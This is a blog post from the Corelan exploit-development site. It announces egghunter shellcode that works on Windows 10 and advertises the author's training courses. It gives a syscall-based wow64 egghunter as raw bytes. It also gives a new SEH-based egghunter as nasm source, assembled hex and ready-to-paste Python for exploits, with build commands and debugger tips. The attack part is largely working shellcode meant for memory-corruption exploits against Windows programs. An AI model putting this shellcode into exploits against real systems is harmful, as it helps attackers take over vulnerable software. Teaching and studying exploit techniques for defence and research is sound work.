Ok, I have a confession to make, I have always been somewhat intrigued by egghunters. That doesn’t mean that I like to use (or abuse) an egghunter just because I fancy what it does. In fact, I believe it’s a good practise to try to avoid egghunters if you can, as they tend to slow things down.
What I mean, is that I have been fascinated by techniques to search memory without making the process crash. It’s just a personal thing, it doesn’t matter too much.
What really matters is that Corelan Team is back. Well, I’m back. This is my (technical) first post in nearly 3 years, and the first post since Corelan Team kind of “faded out” before that. (In fact, I’m curious to see if (some of) the original Corelan Team members would be able to find spare time again to join forces and to start doing / publishing some research. I certainly hope so but let’s see what happens.)
As some of you already know, I have recently left my day job. (long story, too long for this post. Glad to share details over a drink). I have launched a new company called “Corelan Consulting” and I’m trying to make a living through exploit development training and CyberSecurity consulting. Trainings are going well, with 2019 almost completely filled up, and already planning classes in 2020. You can find the training schedules here. If you’re interested in setting up the Corelan Bootcamp or Corelan Advanced class in your company or at a conference – read the testimonials first and then contact me 🙂 I still need to work on my sales skills in relation with locking in consulting gigs, but I’m sure things will work out fine in the end. (Yes, please contact me if you’d like me to work with you, I’m available for part-time governance/risk management & assessment work ;-))
Anyway, while building the 2019 edition of the Corelan Bootcamp, updating the materials for Windows 10, I realised that the wow64 egghunter for Windows 7, written by Lincoln, no longer works on Windows 10. In fact, I kind of expected it to fail, as we already knew that Microsoft keeps changing the syscall numbers with every major Windows release. And since the most commonly used version egghunter mechanism is based on the use of a system call, it’s clear that changing the number will break the egghunter.
By the way : the system calls (and their numbers) are documented here: https://j00ru.vexillium.org/syscalls/nt/64/ (Thanks Mateusz “j00ru” Jurczyk). You can find the evolution of the “NtAccessCheckAndAuditAlarm” system call number in the table on the aforementioned website.
Anyway, changing a system call number doesn’t really sound all too exciting or difficult, but it also became clear that the arguments & stack layout, the behavior of the system call in Windows 10, also differs from the Windows 7 version.
We found some win10 egghunter PoCs flying around, but discovered that they did not work reliably in real exploits. Lincoln looked at it for a few moments, did some debugging andd produced a working version for Windows 10. 🙂
So, that means we’re quite proud to be able to announce a working (wow64) egghunter for windows 10. The version below has been tested in real exploits and targets.
As explained, the challenge was to figure out where & how the new system call expects it’s arguments, how it changes registers & the stack to make sure that the arguments are always in the right place and provide the intended functionality: to test if a given page is accessible or not, and to do so without making the process die.
This is what the updated routine looks like:
"\x33\xD2" #XOR EDX,EDX "\x66\x81\xCA\xFF\x0F" #OR DX,0FFF "\x33\xDB" #XOR EBX,EBX "\x42" #INC EDX "\x52" #PUSH EDX "\x53" #PUSH EBX "\x53" #PUSH EBX "\x53" #PUSH EBX "\x53" #PUSH EBX "\x6A\x29" #PUSH 29 (system call 0x29) "\x58" #POP EAX "\xB3\xC0" #MOV BL,0C0 "\x64\xFF\x13" #CALL DWORD PTR FS:[EBX] (perform the system call) "\x83\xC4\x10" #ADD ESP,0x10 "\x5A" #POP EDX "\x3C\x05" #CMP AL,5 "\x74\xE3" #JE SHORT "\xB8\x77\x30\x30\x74" #MOV EAX,74303077 "\x8B\xFA" #MOV EDI,EDX "\xAF" #SCAS DWORD PTR ES:[EDI] "\x75\xDE" #JNZ SHORT "\xAF" #SCAS DWORD PTR ES:[EDI] "\x75\xDB" #JNZ SHORT "\xFF\xE7" #JMP EDI
This egghunter works great on Windows 10, but it assumes you’re running inside the wow64 environment (32bit process on 64bit OS). Of course, as Lincoln has explained in his blogpost, you can simply add a check to determine the architecture and make the egghunter work on native 32bit OS as well.
You can generate this egghunter with mona.py too – simply run !mona egg -wow64 -winver 10
When debugging this egghunter (or any wow64 egghunter that is using system calls), you’ll notice access violations during the execution of the system call. These access violations can be safely passed through and will be handled by the OS… but the debugger will break every time it sees an access violation. (In essence, the debugger will break as soon as the code attempts to test a page that is not readable. In other words, you’ll get an awful lot of access violations, requiring your manual intervention.)
If you’re using Immunity Debugger, you can simply tell the debugger to ignore the access violations. To do so, click on ‘debugging options’, and open the ‘exceptions’ tab. Add the following hex values under “Add range”:
Of course, when you have finished debugging the egghunter, don’t forget to remove these 2 exception again 🙂
For sure, MS is entitled to change whatever they want in their Operating System. I don’t think developers are supposed to issue system calls themselves, I believe they should be using the wrapper functions in ntdll.dll instead. In other words, it should be “safe” for MS to change system call numbers. I don’t know what is behind the the system call number increment with every Windows version, and I don’t know if the system call numbers are going to remain the same forever, as Windows 10 has been labeled as the “last Windows version”. From an egghunter perspective that would be great. As an increasingly larger group of people adopts Windows 10, the egghunter will have an increasingly larger success ratio as well. But in reality I don’t know if that is a valid assumption to make or not.
In any case it made me think: Would there be a way to use a different technique to make an egghunter work, without the use of system calls? And if so, would that technique also work on older versions of Windows? And if we’re not using system calls, would it work on native x86 and wow64 environments right away?
Let’s see.
The original paper on egghunters (“Safely Searching Process Virtual Address Space”) written by skape (2004!) already introduced the the use of custom exception handlers to handle the access violation that will occur if you’re trying to read from a page that is not accessible. By making the handler point back into the egghunter, the egghunter would be able to move on. The original implementation, unfortunately, no longer seems to work. While doing some testing (many years ago, as well as just recently on Windows 10), it looks the OS doesn’t really allow you to make the exception handler to point directly to the stack (haven’t tried the heap, but I expect the same restriction to be in place). In other words, if the egghunter runs from the stack or heap, you wouldn’t be able to make the egghunter use itself as exception handler and move on.
Before looking at a possible solution, let’s remind ourselves of how the exception handling mechanism works. When the OS sees an exception and decides to pass it to the corresponding thread in the process, it will instruct a function in ntdll.dll to launch the Exception Handling mechanism within that thread. This routine will check the TEB at offset 0 (accessible via FS:[0]) and will retrieve the address of the topmost record in the exception handling chain on the stack. Each record consists of 2 fields:
struct EXCEPTION_REGISTRATION { EXCEPTION_REGISTRATION *nextrecord; // pointer to next record (nseh) DWORD handler; // pointer to handler function };
The topmost record contains the address of the routine that will be called first in order to check if the application can handle the exception or not. If that routine fails, the next record in the chain will be tried (either until one of the routines is able to handle the exception, or until the default handler will be used, sending the process to heaven). So, in other words, the routine in ntdll.dll will find the record, and will call the “handler” address (i.e. whatever is placed in the second field of the record).
So, translating this into the egghunter world: If we want to maintain control over what happens when an exception occurs, we’ll have to create a custom “topmost” SEH record, making sure it is the topmost record at all times during the execution of the egghunter, and we’ll have to make the record handler point into a routine that allows our egghunter to continue running and move on with the next page. Again, if our “custom” record is the topmost record, we’ll be sure that it will be the first one to be used.
Of course we should be careful and take the consequences and effects of running the exception handling mechanism into account:
Creating our own custom SEH record means that we’re going to be writing something to the stack, overwriting/damaging what is already there. So, if your egghunter/shellcode is also on the stack around that location, you may want to adjust ESP before running the egghunter. Just sayin’ 🙂
This is what my SEH based egghunter looks like (ready to compile with nasm):
; Universal SEH based egg hunter (x86 and wow64) ; tested on Windows 7 & Windows 10 ; written by Peter Van Eeckhoutte (corelanc0d3r) ; www.corelan.be - www.corelan-training.com - www.corelan-consulting.com ; ; warning: will damage stack around ESP ; ; usage: find a non-safeseh protected pointer to pop/pop/ret and put it in the placeholder below ; [BITS 32] CALL $+4 ; getPC routine RET POP ECX ADD ECX,0x1d ; offset to "handle" routine ;set up SEH record XOR EBX,EBX PUSH ECX ; remember where our 'custom' SE Handler routine will be PUSH ECX ; p/p/r will fly over this one PUSH 0x90c3585c ; trigger p/p/r again :) PUSH 0x44444444 ; Replace with P/P/R address ** PLACEHOLDER ** PUSH 0x04EB5858 ; SHORT JUMP MOV DWORD [FS:EBX],ESP ; put our SEH record to top of chain JMP nextpage handle: ; our custom handle SUB ESP,0x14 ; undo changes to ESP XOR EBX,EBX MOV DWORD [FS:EBX],ESP ; make our SEH record topmost again MOV EDX, [ESP+24] ; pick up saved EDX INC EDX nextpage: OR DX, 0x0FFF INC EDX MOV [ESP+24], EDX ; remember where we are searching MOV EAX, 0x74303077 ; w00t MOV EDI, EDX SCASD JNZ nextpage+5 SCASD JNZ nextpage+5 JMP EDI
Let’s look at the various components of the egg hunter.
At this point, the egghunter is ready to test if a page is readable. The code will use EDX as the reference where to read from. The routine starts by going to the end of the page (OR DX, 0x0FFF), then goes to the start of the next page (INC EDX), and then we store the value of EDX on the stack (at [ESP-4]), so the exception handler would be able to pick it up later on. If the read attempt (SCASD) fails, an access violation will be triggered. The access violation will use our custom SEH record (as it is supposed to be the topmost record), and that routine is designed to resume execution of the egghunter (by running the “handle” routine, which will eventually restore the EDX pointer from the stack and move on to the next page). The “handle” routine will:
If a page is readable, the egghunter will check for the presence of the tag, twice. If the tags are found, the final “JMP EDI” will tell the CPU to run the code placed right after the double tag.
When debugging the egghunter, you’ll notice that it’ll throw access violations (when the code tries to access a page that is not accessible). Of course, in this case, these access violations are absolutely normal, but you’ll still have to pass the exceptions back to the application (Shift F9). You can also configure Immunity Debugger to ignore (and pass) the exceptions automatically, but configuring the Exceptions. To do so, click on ‘debugging options’, and open the ‘exceptions’ tab. Add the following hex values under “Add range”:
Of course, when you have finished debugging the egghunter, don’t forget to remove these 2 exception again.
In order to use the egghunter, you’ll need to convert the asm instructions into opcode first. To do so, you’ll need to install nasm. (I have used the Win32 installer from https://www.nasm.us/pub/nasm/releasebuilds/2.14.02/win32/)
Save the asm code snippet above into a text file (for instance “c:\dev\win10_egghunter_seh.nasm”). Next, run “nasm” to convert it into a binary file that contains the opcode:
"C:\Program Files (x86)\NASM\nasm.exe" -o c:\dev\win10_egghunter_seh.obj c:\dev\win10_egghunter_seh.nasm
Next, dump the contents of the binary file to a hex format that you can use in your scripts and exploits:
python c:\dev\bin2hex.py c:\dev\win10_egghunter_seh.obj
(You can find a copy of the bin2hex.py script in Corelan’s github repository)
If all goes well, this is what you’ll get:
"\xe8\xff\xff\xff\xff\xc3\x59\x83" "\xc1\x1d\x31\xdb\x51\x51\x68\x5c" "\x58\xc3\x90\x68\x44\x44\x44\x44" "\x68\x58\x58\xeb\x04\x64\x89\x23" "\xeb\x0d\x83\xec\x14\x31\xdb\x64" "\x89\x23\x8b\x54\x24\x24\x42\x66" "\x81\xca\xff\x0f\x42\x89\x54\x24" "\x24\xb8\x77\x30\x30\x74\x89\xd7" "\xaf\x75\xf1\xaf\x75\xee\xff\xe7"
Again, don’t forget to replace the \x44\x44\x44\x44 (end of third line) with the address of a pop/pop/ret (and to store the address in little endian, if you are editing the bytes 🙂 )
Python friendly copy/paste code:
egghunter = ("\xe8\xff\xff\xff\xff\xc3\x59\x83" "\xc1\x1d\x31\xdb\x51\x51\x68\x5c" "\x58\xc3\x90\x68") egghunter += "\x??\x??\x??\x??" #replace with pointer to pop/pop/ret. Use !mona seh egghunter += ("\x68\x58\x58\xeb\x04\x64\x89\x23" "\xeb\x0d\x83\xec\x14\x31\xdb\x64" "\x89\x23\x8b\x54\x24\x24\x42\x66" "\x81\xca\xff\x0f\x42\x89\x54\x24" "\x24\xb8\x77\x30\x30\x74\x89\xd7" "\xaf\x75\xf1\xaf\x75\xee\xff\xe7")
I have not added the routine to mona.py yet (but I will, eventually, at some point). Of course, if you see room for improvement, and/or able to reduce the size of the egghunter, please don’t hesitate to let me know. (I’ll be waiting for your feedback for a while before adding it to mona).
Of course I’d love to hear if the egghunter works for you, and if it works across Windows versions and architectures (32bit systems, older Windows versions, etc).
Thanks for reading! I hope you have enjoyed this brand new article and I hope you’re as excited about the future as much as I am.
If you would like to hang out, discuss infosec topics, ask question (and answer questions), please sign up to our Slack workspace. To access the workspace:
Also, feel free to follow us on Twitter (@corelanconsult) to stay informed about new articles and blog posts.
This article is just a small example of what you’ll learn in our Corelan Bootcamp. If you’d like to take one of our Corelan classes, check our schedules at https://www.corelan-training.com/index.php/training-schedules. If you prefer to set up a class at your company or conference, don’t hesitate to contact me via this form.
As explained at the start of the article: the trainings and consulting gigs are now my main form of income. I am only able to do research and publish information for free if I can make a living as well. This website is supported, hosted and funded by Corelan Consulting. The more classes I can teach and the more consulting I can do, the more time I can invest in research and publication of tutorials.
Thanks!
Tags:
© Corelan Consulting BV. All rights reserved. The contents of this page may not be reproduced, redistributed, or republished, in whole or in part, for commercial or non-commercial purposes without prior written permission. See the Terms of Use and Privacy Policy for details.
Comments are closed.